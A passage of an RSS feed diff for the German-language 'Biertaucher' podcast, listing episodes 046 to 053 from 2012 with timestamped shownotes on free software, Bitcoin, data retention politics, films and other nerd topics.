+ </li><li>0:51:25 Podcast: <a href="http://wissenschaft.wanhoff.de/">Wanhoff's wunderbare Welt der Wissenschaft</a>
+ </li><li>0:52:27 Podcast: <a href="http://lex.iguw.tuwien.ac.at/groups/gespraeche/blog/">Peter Purgathofer spricht mit...</a>
+ </li><li>0:53:27 Podcast: <a href="http://blog.binaergewitter.de/">Binärgewitter</a>
+ </li><li>0:56:01 Podcast: <a href="http://www.bruellaffencouch.de/">Brüllaffencouch</a>
+ </li><li>0:57:31 Johnny war auf einer Street-lecture der TU-Wien
+ </li><li>0:59:00 <a href="http://www.freie-bildung.at/">Woche der freien Bildung</a>
+ </li><li>1:01:00 Podcast: <a href="http://www.spieleveteranen.de/">Spieleveteranen</a> mit Filmprojekt: Brot und Spiele
+ </li><li>1:02:00 österr. Film-Crowd-Funding: <a href="http://futurezone.at/digitallife/9086-homophobia-netz-erfolg-fuer-film-aus-oesterreich.php">Homophobia</a>
+ </li><li>1:02:46 <a href="http://www.murks-nein-danke.de/murksmelden/">Initiative gegen geplanten Verschleiss</a>
+ </li><li>1:03:00 Soll New York's Bürgermeister <a href="http://www.heise.de/tp/blogs/6/152012">programmieren lernen</a> ?
+ </li><li>1:07:48 Teaser: Gregor schaut Filme von <a href="http://de.wikipedia.org/wiki/Takeshi_Kitano">Takeshi Kitano</a> und berichtet über dessen Videospiel
+ </li>
+
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher053.mp3" length="51359744" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 052</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:052</link>
+ <pubDate>Thu, 17 May 2012 19:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher052.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR und Peter SCHLEINZER trinken Bier und plaudern freie Software und andere Nerd-Themen. Mehr Information, Links und Bilder gibt es in den Shownotes: http://goo.gl/DFXKZ bzw: http://biertaucher.at
+
+
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/DFXKZ">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 52 zu sehen</i><br></br>
+ <b>Horst JENS, Gregor PRIDUN, Martin MAYR und Peter SCHLEINZER plaudern über freie Software<br></br>
+ <br></br>
+ <br>Bitte Flattern: <a href="http://flattr.com/thing/683977/Biertaucher-Podcast-Folge-052" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a><br></br>
+
+Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit:<br></br>
+siehe auch <a href="http://redd.it/teb2x">Themensammlung auf reddit</a>
+</br>
+<ul>
+
+ <li>0:01:30 <a href="http://inkscape.org/">Inkscape</a>
+</li><li>0:06:30 <a href="http://sparkleshare.org/">Sparkleshare</a>
+</li><li>0:13:00 <a href="http://wappwolf.com/">Wappwolf</a>
+</li><li>0:17:20 <a href="http://de.wikipedia.org/wiki/Foodcoop">Foodcoop</a>
+</li><li>0:23:00 <a href="http://ubuntuusers.de">Ubuntu 12.04</a>
+</li><li>0:32:00 Das Bäcker das Lokal
+</li><li>0:34:00 Das <a href="http://www.conrad.at/ce/de/product/878200/ODYS-XELIO-INTERNET-TABLET-7-EXCLUSIV/SHOP_AREA_54366&promotionareaSearchDetail=005#">Xelio 99 Euro - Android Tablet</a> von Conrad Electronics
+ </li><ul><li><a href="http://www.android-hilfe.de/odys-xelio-forum/226775-xelio-weak-wifi-signal-4.html#post3102004">W-LAN-Fix</a>
+ </li><li><a href="http://podueber.blogspot.com/">Podueber</a> - Ein Podcast über Podcasten
+ </li></ul>
+ <li>0:51:00 Kinobesuch <a href="http://dokit.at/1plus1ist100/">1+1=100 Die Schule des Lebens</a>
+</li><li>0:56:00 <a href="http://bitlove.org/">Bitlove</a> - Podcasts und Torrents
+</li><li>1:02:20 Kontroverse <a href="http://www.spiegel.de/netzwelt/netzpolitik/kuenstler-schreiben-offenen-brief-fuer-das-urheberrecht-a-832538.html">Pro-Urheberrechts-Künstler</a> vs <a href="http://futurezone.at/netzpolitik/9043-internet-nutzer-antworten-auf-urheber-aufruf.php">Gegner</a> und <a href="http://www.spiegel.de/netzwelt/netzpolitik/anonymous-veroeffentlicht-kuenstler-adressen-a-833059.html">Anonymous</a>
+</li><li>1:05:40 <a href="http://www.forbes.com/sites/andygreenberg/2012/05/09/hbos-game-of-thrones-on-track-to-be-crowned-most-pirated-show-of-2012/">Game Of Thrones</a> Season 2: Riesige Nachfrage, nicht legal erhältlich ?
+</li><li>1:07:30 <a href="http://www.heise.de/tp/blogs/10/151967">Boykott wissenschaftlicher Zeitschriften</a>
+</li><li>1:12:50 <a href="http://de.wikipedia.org/wiki/SPDY">SPDY</a> - Modul für Apache
+</li>
+
+</ul>
+
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher052.mp3" length="56815616" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 051</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:051</link>
+ <pubDate>Wed, 09 May 2012 22:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher051.mp3</guid>
+ <description>Horst JENS, Johnny ZWENG, Martin MAYR und Andreas und Andreas vom Bitcoin Verein Österreich trinken Bier und plaudern freie Software und andere Nerd-Themen. Hauptsächlich über Bitcoins. Siehe auch Shownotes http://goo.gl/ZZw9J bzw: http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/ZZw9J">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 51 zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Martin MAYR</b>, <b>Johnny ZWeng</b> und Gäste Andreas und Andreas plaudern über freie Software, wichtige Nerdthemen und Bitcoins.<br></br>
+ <br></br>
+
+Hier das Inhaltsverzeichnis **ohne** Anspruch auf Vollständigkeit (siehe auch <a href="http://redd.it/t4tfn">Themensammlung auf reddit</a>) <br></br>
+( bitte Flattern: <a href="http://flattr.com/thing/671521/Biertaucher-Podcast-Folge-051" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a> ) <br></br>
+
+<ul>
+<li> 0:00:45 keine Hausmeisterthemen
+</li><li> 0:01:44 Reoortage: Marin berichtet vom Solifest und Aktionstag Boku Landbesetzung
+ </li><li> 0:02:48 <a href="http://traumwandler.bandcamp.com/">Traumwandler</a>
+</li><li> 0:04:11 Reportage: Horst war m<a href="http://horstjens.blogspot.com/2012/05/hanfwandertag-wien-2012.html">Hanfwandertag</a> und am <a href="http://linuxwochen.at/">Wiener Linuxtag</a>
+</li><li> 0:07:48 Selbstzensur auf Demonstrationen
+</li><li> 0:13:15 Reportage: Martin war am antifaschistischen Spaziergang anlässlich Nazi-Kapitulation am 5. Mai / Burschenschaftler Kranzniederlegung
+ </li><li> 0:14:30 Nazi-Relikte in der Heldenplatz-Krypta ?
+</li><li> 0:17:30 traditionelle Kriegsverherrlichung in Österreich
+</li><li> 0:20:10 Bitcoins - Andreas und Andreas vom Bitcoin-Verein Österreich erklären Bitcoins
+</li><li> 1:09:55 <a href="http://de.wikipedia.org/wiki/W%C3%B6rgler_Geldexperiment#Die_W.C3.B6rgler_Geldexperimente">Das Wörgerler Geldexperiment</a>
+</li><li> 1:16:03 Buch: <a href="http://spielend-programmieren.at/de:reviews:pratchett_terry:making_money">Making Money</a> von Terry Pratchett
+</li><li> 1:16:30 Youtube-Serie: <a href="http://youtu.be/tEK4INYa8R4">Gib mir die Welt plus 5 Prozent</a>
+</li><li> 1:17:14 BALLUCH: <a href="http://www.martinballuch.com/?p=1089#more-1089">Balluch-Blog</a> :Gewalttätiger Polizist verurteilt
+</li><li> 1:17:49 Meldung: <a href="http://www.heise.de/tp/blogs/8/151936">Schultrojaner</a> tot ?
+</li><li> 1:18:40 Meldung: <a href="https://secure.avaaz.org/en/massive_attack_on_avaaz_a/?cl=1782664453&v=14035">Hackerangriff</a> auf Avaaz
+ </li><li> 1:19:10 Podcast: <a href="http://socialhack.eu/">socialhack</a> meint Avaaz
+</li><li> 1:19:40 Meldung: Urteil/USA: <a href="http://futurezone.at/digitallife/8904-urteil-ip-adresse-identifiziert-keine-person.php">IP-Adresse lässt nicht auf Nutzer schließen</a>
+</li><li> 1:20:00 Horst zweifelt: Weiß <a href="http://www.youtube.com/user/nixiedoeslinux">Nixie Pixel</a> wovon sie redet oder ist sie eine ahnungslose Sprechpuppe ?
+</li><li> 1:21:50 Remainder: <a href="https://www.verfassungsklage.at/">Verfassungsklage</a> gegen Vorratsdatenspeicherung
+</li><li> 1:24:20 Party: <a href="https://metalab.at/wiki/6_Jahre_Metalab">6 Jahre Metalab</a>
+</li><li> 1:25:23 Bitcoin Grafikkauf und <a href="https://metalab.at/wiki/6_Jahre_Metalab">Bitcoinpornos</a>
+
+
+</li>
+</ul>
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher051.mp3" length="64419840" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 050</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:050</link>
+ <pubDate>Thu, 03 May 2012 10:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher050.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT und Martin MAYR feiern die 50. Folge vom Biertaucherpodcast trinkend und über freie Software und andere Nerd-Themen plaudernd: siehe auch Shownotes http://goo.gl/n9w2I bzw: http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/n9w2I">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 50 zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Florian SCHWEIKERT</b>, <b>Martin MAYR</b> und als Gäste Peter und Harald vom Smarthome-podcast plaudern über freie Software und andere Nerd-Themen:<br></br>
+ <br></br>
+
+Hier das Inhaltsverzeichnis **ohne** Anspruch auf Vollständigkeit (siehe auch <a href="http://redd.it/srnac">Themensammlung auf reddit</a>) <br></br>
+( bitte Flattern: <a href="http://flattr.com/thing/659972/Jubilaum-Folge-50-vom-Biertaucher-Podcast" target="_blank">
+<img src="http://api.flattr.com/button/flattr-badge-large.png" alt="Flattr this" title="Flattr this" border="0" /></a> ) <br></br>
+
+<ul></ul>
+
+ <li><b>0:01:00</b> Podcast: <a href="http://www.aether.fm/kanaele/aethermicro">Aethermicro</a> neuer Podcast von Daniel Messner und Anna Masona
+</li><li><b>0:05:00</b> Selbstbeweihräucherung: Entwicklung Biertaucherpodcast
+</li><li><b>0:06:00</b> Retrogaming: Das waren Zeiten als Gregor noch jung war und <a href="http://de.wikipedia.org/wiki/Wirtschaftssimulation_(Spiel)">Wirstschaftssimulationen</a> spielte...
+</li><li><b>0:08:00</b> Politik: <a href="http://news.cnet.com/8301-33062_3-57423580/microsoft-backs-away-from-cispa-support-citing-privacy/">Microsoft ünterstützt nicht mehr Cispa</a>
+</li><li><b>0:08:50</b> Meldung: <a href="http://youtu.be/-TsgEKdGCdU">Gefägnisroboter in Korea</a>
+</li><li><b>0:11:11</b> Tech: <a href="http://de.wikipedia.org/wiki/Google_Drive">Google Drive</a>
+</li><li><b>0:19:10</b> Tech: <a href="http://www.tenshu.net/p/terminator.html">Terminator Shell</a>
+</li><li><b>0:21:20</b> Tech: <a href="http://futurezone.at/produkte/8760-solidoodle-3d-drucker-um-500-dollar.php">3D Drucker für 500 Dollar</a>
+</li><li><b>0:22:00</b> Reportage: Martin berichtet von der <a href="http://mayday-wien.org/">Mayday Demo</a>
+</li><li><b>0:27:00</b> Tech: GTA04 <a href="http://de.wikipedia.org/wiki/Openmoko">Openmoko</a>
+</li><li><b>0:30:22</b> KINO: <a href="http://de.wikipedia.org/wiki/Battleship_(Film)">Battleship</a> wurde für überhaupt nicht empfehlenswert befunden ( -3 Biertaucherflaschen )
+</li><li><b>0:32:00</b> TV Serie: <a href="http://de.wikipedia.org/wiki/Black_Adder">Black Adder (BBC)</a> mit <a href="http://de.wikipedia.org/wiki/Rowan_Atkinson">Rowan Atkinson</a> (bekannt alsMr. Bean)
+</li><li><b>0:37:00</b> GÄSTE: Peter und Harald vom <a href="http://podcast.smarter-home.at/">Smarter Home Podcast</a> berichten über <a href="http://de.wikipedia.org/wiki/IPv6">IPv6</a> und explodierende Hörerzahlen
+</li><li><b>0:46:00</b> Kultur: <a href="http://de.wikipedia.org/wiki/Tim_Pritlove">Tim Pritlove</a> über <a href="http://flattr.com">Flattr</a>
+</li><li><b>0:49:20</b> Reportage: <a href="http://www.linuxtage.at/">Grazer Linuxtag</a> (siehe auch Interviews am Ende des Podcasts)
+</li><li><b>1:00:00</b> Politik: <a href="http://youtu.be/qmkRCdsLZHw">Video</a> Die Boku (Universität für Bodenkultur) Wien <a href="http://sunnyvlog.wordpress.com/2012/04/27/brutale-raumung-der-landbesetzung-des-boku-gelande-in-jedlersdorf-durch-private-sicherheitsfimra-hel-wacht26-april-2012-gerasdorferstrasse-105-rhabarbertv/">lässt ein von Guerilla Gärtnern besetztes Feld räumen</a>. Siehe auch: <a href="http://de.wikipedia.org/wiki/Bienensterben">Bienensterben</a>.
+</li><li><b>1:09:30</b> Tech: <a href="https://addons.mozilla.org/en-US/firefox/addon/spdy-indicator/">SPDY das Protokoll</a>, siehe auch <a href="http://de.wikipedia.org/wiki/SPDY">Wikipedia Eintrag zu Spdy</a>
+</li><li><b>1:12:52</b> Interviews vom Linuxtag Graz:
+</li><ul>
+ </li><li><b>1:12:52</b> Interview mit <a href="http://glt12-programm.linuxtage.at/speakers/72.de.html">Dorian Santner</a> über <a href="http://Blender.org</a>
+ </li><li><b>1:23:30</b> Interview mit Benedikt von der Firma <a href="http://shop.embedded-projects.net/">Embedded Projects</a> über <a href="http://gnublin.de/">Gnublin</a>, eine <a href="http://youtu.be/-DnVurdZkkM">freie Zeitschrift für Open Hardware</a>
+ </li><li><b>1:32:48</b> Interview mit <a href="http://www.linuxwochen.at/index.php?option=com_contact&view=contact&id=10%3Achristian-jeitler&catid=9%3Awien&Itemid=6">Christan Jeitler</a> über die Linuxtage Wien 2012
+ </li><li><b>1:36:40</b> Interview mit Flo von <a href="http://openartisthq.org/">Open Artist</a>, eine Ubuntu-basierte <a href="http://youtu.be/-xs6v7GB_QA">Linux-Distro für Künstler</a>
+ </li><li>Leider nicht im Podcast sondern nur auf youtube wegen technischer Panne beim Mikrophon: Interview mit Stefan von <a href="http://ping-solutions.at/">Ping solutions</a>, eine Firma aus Weiz (Steiermark) <a href="http://youtu.be/B53XSnQRypU">die Linuxserver verkauft</a>
+</li></ul></ul>
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher050.mp3" length="76515328" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 049</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:049</link>
+ <pubDate>Wed, 25 Apr 2012 22:00:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher049.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT, Johnny ZWENG und Martin MAYR plaudern über freie Software und andere Nerd-Themen: siehe auch Shownotes http://goo.gl/ZDy7D bzw: http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/ZDy7D">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 49 zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Florian SCHWEIKERT</b>, <b>Johnny ZWENG</b> und <b>Martin MAYR</b> plaudern über freie Software und andere Nerd-Themen:<br></br>
+ <br></br>
+
+Hier das Inhaltsverzeichnis <b>ohne</b> Anspruch auf Vollständigkeit <br></br>
+(siehe auch <a href="http://redd.it/sfq3r">Themensammlung auf reddit</a> )<br></br>
+
+<ul>
+ <li><b>01:30</b>b> Tech: <a href="http://en.wikipedia.org/wiki/Distributed_social_network">distributed social networks</a> (<a href="http://en.wikipedia.org/wiki/DSNP">siehe auch diesen Link</a>)
+ </li><li><b>09:30</b> Meldung: <a href="http://www.olpcnews.com/countries/peru/an_alternative_reading_of_the_iadb_study_on_peru_olpc_implementation.html">OLPC Peru Fail</a>
+ </li><li><b>12:30</b> Politik: <a href="http://www.avaaz.org/en/stop_cispa_corporate_action_center/">CISPA</a>
+ </li><li><b>17:30</b> <a href="http://futurezone.at/netzpolitik/8651-eu-vorratsdaten-gegen-filesharing-erlaubt.php">Vorratsdatenspeicherung Deutschland gegen Filesharer</a>
+ </li><li><b>20:25</b> Game: geniales Kickstarter Werbevideo für <a href="http://kck.st/yDcMry">Wasteland 2</a>
+ </li><li><b>21:40</b> Tech: Twitter will Patente nur mehr "defensiv" nutzen <a href="http://www.heise.de/newsticker/meldung/Twitter-will-Patente-nur-defensiv-nutzen-1541747.html">Heise-Artikel</a>: Patentrechte sollen bei den Entwicklern bleiben und von Twitter nur mehr defensiv zur Verteidigung in Patentstreitfällen verwendet werden können.
+ </li><li><b>23:50</b> Game: <a href="http://blog.humblebundle.com/post/21385865235/introducing-the-humble-botanicula-debut">Humble Botanicula Debut</a> (Humble Indie Bundle)
+ </li><li><b>24:00</b> Tech: <a href="http://de.wikipedia.org/wiki/Google_Chrome_OS">Google Chromes OS</a>
+ </li><li><b>38:40</b> Tech: Atom Prozessoren (hier das <a href="http://news.idg.no/cw/art.cfm?id=9C7CE9EA-A617-70D4-45AA606095255590">erste Android Smartphone</a>, das mit einem Intel Atom werkt - x86 statt ARM)
+ </li><li><b>40:30</b> Tech: Rasberry Pie / Ubuntu / Kernel (<a href="http://www.linuxfoundation.org/news-media/announcements/2012/04/linux-foundation-releases-annual-linux-development-report#_ftn1">Bericht der Linux-Foundation</a> welche Unternehmen, wieviel zum kernel beitragen - Canonical/Ubuntu ist nicht dabei)
+ </li><li><b>49:30</b> Teaser: Horst hat <a href="http://www.runtux.com/">Dr. Ralf Schlatterbeck</a> interviewt über dessen Arduino-gesteuerte Hühnerklappe (Interview am Ende des Podcasts)
+ </li><li><b>49:50</b> Report: Martin berichtet vom <a href="http://www.urban-gardening.eu/">Urban Gardening</a> Vortrag
+ </li><li><b>56:20</b> Politik: <a href="http://data.gv.at/">Opendata-portal</a> jetzt für ganz Österreich
+ </li><li><b>59:40</b> Game: <a href="http://gambitious.com/">Gambitious.com</a>, Crowdfunding - Plattform für Games aus Holland
+ </li><li><b>01:03:50</b> <a href="http://www.faz.net/aktuell/gesellschaft/betrug-mit-gravitationswellen-erfolgreich-aber-erfunden-11724374.html">Global Scaling</a> Gründer als Betrüger angeklagt (hier der <a href="http://www.esowatch.com/ge/index.php?title=Global_Scaling">Wiki Eintrag bei Esowatch zum Thema Global Scaling</a> und hier ein <a href="http://www.global-scaling-institute.de/files/gskompv18_de.pdf">"Paper" (als PDF) von Global-Scaling</a>, wo sie erläutern warum alles in unsere Welt mit "Scaling" zu tun hat - Achtung mindfuck!) und hier noch der <a href="http://web.petabox.bibalex.org/web/20050306171535/www.donau-uni.ac.at/de/studium/fachabteilungen/tim/zentren/timlab/news/archiv/02475/index.php">#FAIL Artikel der Donau-Universität zur Global Scaling Quantenübertragung</a> (Link zu einem Webarchiv)
+ </li><li><b>01:11:20</b> Interview: Ralf spricht über seine Arduino-gesteuerte Hühnerklappe
+ </li>
+
+
+ </ul>
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher049.mp3" length="55064457" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 048</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:048</link>
+ <pubDate>Thu, 19 Apr 2012 09:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher048.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN und Martin MAYR plaudern über freie Software und andere Nerd-Themen: siehe auch Shownotes http://goo.gl/N4IfH bzw. bzw: http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/N4IfH">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 48 zu sehen</i><br></br>
+ <b>Horst JENS</b>, <b>Gregor PRIDUN</b> und <b>Martin MAYR</b> plaudern über freie Software und andere Nerd-Themen:<br/><br/>Bitte klicken Sie auf <a href="http://goo.gl/N4IfH">diesen Link</a> um die Shownotes für Folge 48zu sehen. <br></br>Inhalt:<br></br>
+ <ul>
+
+
+<li><b>0:00:00</b> Welche Folge hamma ?
+</li><li><b>0:00:30</b> Historischer Exkurs zum 1. Biertaucher Podcast
+</li><li><b>0:01:24</b> Hausmeisterthemen vom Gregor, Android Launcher, Google Nexus Updates
+</li><li><b>0:03:34</b> Shownotes, Flattr
+</li><li><b>0:04:34</b> Termine: <a href="http://www.criticalmass.at/">Critical Mass</a> , Barcraft Vienna, Tierversuchsdemo, TU Wien Kino: Der Prozess, Pyweek
+</li><li><b>0:09:00</b> OpenGameArt, Montessori Veranstaltung, Twittagessen
+</li><li><b>0:11:00</b> Lange Nacht der Forschung, Sternwartepark
+</li><li><b>0:13:05</b> KINO: <a href="http://youtu.be/2hvNi0VZwc8">Menace II society</a>
+</li><li><b>0:14:03</b> BUCH: <a href="http://de.wikipedia.org/wiki/Sofies_Welt">Sofies Welt</a>
+</li><li><b>0:16:30</b> neues Google+ Design
+</li><li><b>0:17:38</b> es hat 48 Sendungen gebraucht bis Gregor dieser freudsche Versprecher einfäll: Bier**B**aucher Podcast
+</li><li><b>0:19:30</b> Chor der Uni Wien
+</li><li><b>0:21:00</b> Spiegel online: Shitstorm für Piraten
+</li><li><b>0:22:39</b> Abmahnungen wegen Pinnwandposting auf Facebook
+</li><li><b>0:23:17</b> Spanien: Aufruf zu Demonstrationen strafbar. ( siehe Balluch Blog: niederösterreichische ÖVP)
+</li><li><b>0:25:22</b> authentisches Vogelgezwitscher, Debatte: gläserner Patient, <a href="http://de.wikipedia.org/wiki/Google_Health">Google Health</a>
+</li><li><b>0:27:30</b> KINO: <a href="http://www.thebrusselsbusiness.eu/">The Bruexelles Business</a>
+</li><li><b>0:33:00</b> Alternativlos Podcast
+</li><li><b>0:33:28</b> REPORTAGE: Boku Versuchsgarten Landbesetzung in Wien Jedlersdorf, Tag des kleinbäuerlichen Widerstandes
+</li><li><b>0:37:25</b> Guerilla Gardening <a href="http://en.wikipedia.org/wiki/Seed_ball">Seed balls</a>
+</li><li><b>0:40:20</b> Volksküche
+</li><li><b>0:41:00</b> Teaser: Studentendemonstration "Internationale Entwicklung" (am Ende des Podcasts)
+</li><li><b>0:41:45</b> Bericht: Python User Group im Metalab:
+ </li><ul><li><b>http://pyug.at/</b>
+ </li><li><b>http://stackoverflow.com/</b>
+ </li><li><b>Ubuntu user voting system</b>
+ </li><li><b>Coding Dojo</b>
+</ul><li><b>0:46:00 Austria Game Jam Review im Subotron</b>
+</li><li><b>0:46:46 POCAST: Die Fressefreiheit, Blog: Denkdreck.de Hörsuppe, Datensuppe</b>
+</li><li><b>0:50:17 Viewranger, OpenStreetmap, OpenCycleMap</b>
+</li><li><b>0:52:35 Netidee: Geld für Open Source Projekte</b>
+</li><li><b>0:53:19 <a href="http://de.wikipedia.org/wiki/Graffiti#Moos-Graffiti">Moos Graffitti</a></b>
+</li><li><b>0:55:45 Teaser Android "Launcher" </b>
+</li><li><b>0:58:19 "Warum Apple die Mobile Industrie 10 Jahre zurückgeworfen hat"</b>
+</li><li><b>0:59:12 INTERVIEW mit Streikenden IE Studierenden</b>
+</li>
+
+ </ul>
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher048.mp3" length="49575936" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 047</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:047</link>
+ <pubDate>Thu, 12 Apr 2012 09:45:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher047.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Martin MAYR, Johnny ZWENG und Gast Peter vom Smarthomepodcast plaudern über freie Software und andere Nerd-Themen: siehe auch Shownotes http://goo.gl/Un2J7 bzw: http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/Un2J7">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 47 zu sehen</i><br></br>
+ Inhalt: <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Martin MAYR</b>, <b>Johnny ZWENG</b> und Gast Peter vom Smarthomepodcast plaudern über freie Software und andere Nerd-Themen:<br/><br/>
+ siehe auch : <a href="http://redd.it/rucgg">Themensammlung auf reddit</a><br></br>
+
+Hier das Inhaltsverzeichnis ohne Anspruch auf Vollständigkeit:<br></br>
+<ul>
+
+<li><b>0:00:21</b> Hausmeisterthemen
+ <li><b>0:02:30</b> MELDUNG: <a href="http://futurezone.at/b2b/8444-facebook-kauft-instagram-um-eine-mrd-dollar.php">Facebook kauft Instagramm</a></li>
+ <li><b>0:11:10</b> GAST: PEter vom <a href="http://podcast.smarter-home.at/">smarter-home-podcast</a></li>
+ <li><b>0:17:00</b> MELDUNG: <a href="http://futurezone.at/netzpolitik/8372-das-zeitalter-des-filesharing-ist-vorbei.php">Gema hat Probleme mit Creative-Commons Lizenzen</a></li>
+ <li><b>0:19:55</b> REPORT / POLITIK: Vorratsdatenspeicherung:</li>
+ <ul>
+ <li><a href="https://docs.google.com/spreadsheet/ccc?key=0Av49HQJ0iwXvdDFPWHZ4X2R6YW1VOEtWVHZlazJiWGc">Crowdsourcing um rauszufinden welche Daten gespeichert werden</a></li>
+ <li><a href="http://pastebin.com/mvyCcWnx">Mustertext für eine Anfrage beim Proider</a></li>
+ <li>Und hier die bis Heute <a href="http://pastebin.com/N5rs0Gr8">frechste Antwort von Hutchison Drei</a></li>
+ </ul>
+ <li><b>0:22:40</b> TECH: <a href="http://www.kickstarter.com/projects/229630898/protect-your-content-anywhere-on-the-web-privly">Verschlüsselung im Browser</a>, Kickstater Projekt</li>
+ <li><b>0:27:00</b> TECH: Spracherkennung/steuerung</li>
+ <li><b>0:33:00</b> TECH: Android Update 4.0.4/Nokia Updates</li>
+ <li><b>0:42:20</b> KINO: <a href="http://de.wikipedia.org/wiki/Iron_Sky">Iron Sky</a></li>
+ <li><b>0:48:00</b> KINO: <a href="http://de.wikipedia.org/wiki/Die_Piraten!_%E2%80%93_Ein_Haufen_merkw%C3%BCrdiger_Typen">he Pirates! In an Adventure with Scientists/The Pirates! Band of Misfits</a></li>
+ <li><b>0:52:30</b> TECH: <a href="http://pipes.yahoo.com/pipes/">Yahoo Pipes</a></li>
+ <li><b>1:00:00</b> POLITIK: <a href="http://www.martinballuch.com/?p=95">Martin Balluch bekommt Tips von der Kriminalpolizei</a></li>
+
+ </ul>
+
+
+ ]]></content:encoded>
+ <enclosure url="http://spielend-programmieren.at/biertaucherfiles/biertaucher047.mp3" length="50939904" type="audio/mpeg"/>
+ </item>
+ <item>
+ <title>Biertaucher Folge 046</title>
+ <link>http://spielend-programmieren.at/de:podcast:biertaucher:2012:046</link>
+ <pubDate>Thu, 05 Apr 2012 09:30:00 +0100</pubDate>
+ <guid>http://spielend-programmieren.at/biertaucherfiles/biertaucher046.mp3</guid>
+ <description>Horst JENS, Gregor PRIDUN, Florian SCHWEIKERT und Johnny ZWENG plaudern über freie Software und andere Nerd-Themen: siehe auch Shownotes http://goo.gl/G7nEy bzw: http://biertaucher.at
+ </description>
+ <content:encoded><![CDATA[
+ <i>Bitte <a href="http://goo.gl/G7nEy">klicken Sie auf diesen Link</a> um die Shownotes zur Folge 46 zu sehen</i><br></br>
+ Inhalt: <b>Horst JENS</b>, <b>Gregor PRIDUN</b>, <b>Florian SCHWEIKERT</b> und <b>Johnny ZWENG</b> plaudern über freie Software und andere Nerd-Themen:<br/><br/>
+ siehe auch : <a href="http://redd.it/rh8xi">Themensammlung auf reddit</a><br></br>
+
+Hier das Inhaltsverzeichnis ohne Anspruch auf Vollständigkeit:<br></br>
+<ul>
+
+
+ <li><b>0:02:00</b> AUFRUF gegen Vorratsdatenspeicherung: <a href="https://www.zeichnemit.at/">BürgerInnenInitiative</a> und <a href="http://verfassungsklage.at">Verfassungsklage</a>: \\ durchlesen, unterstützen und weitererzählen
+ </li><li><b>0:07:33</b> REPORTAGE: von der <a href="http://horstjens.blogspot.com/2012/04/goodbye-privacy-demo.html">Demo gegen die Vorratsdatenspeicherung</a> vom Samstag
+ </li><li><b>0:10:35</b> POLITIK: <a href="http://www.golem.de/news/anonymous-zwei-jahre-haft-als-mindeststrafe-fuer-hacker-in-der-eu-1203-90841.html">Hacker</a> und der <a href="http://derstandard.at/1332324130315/Anonymous--Co-EU-plant-drakonische-Strafen-fuer-Hacker">Wunsch der EU nach härteren Strafen</a>
+ </li><li><b>0:16:00</b> TECH: <a href="http://www.wired.com/wiredenterprise/2012/03/ms-patent/">Linus Torvalds und Patentklage</a>
+ </li><li><b>0:20:00</b> POLITIK: Megaupload und die Klage eines Users, kurz auch zum Thema Pastebin
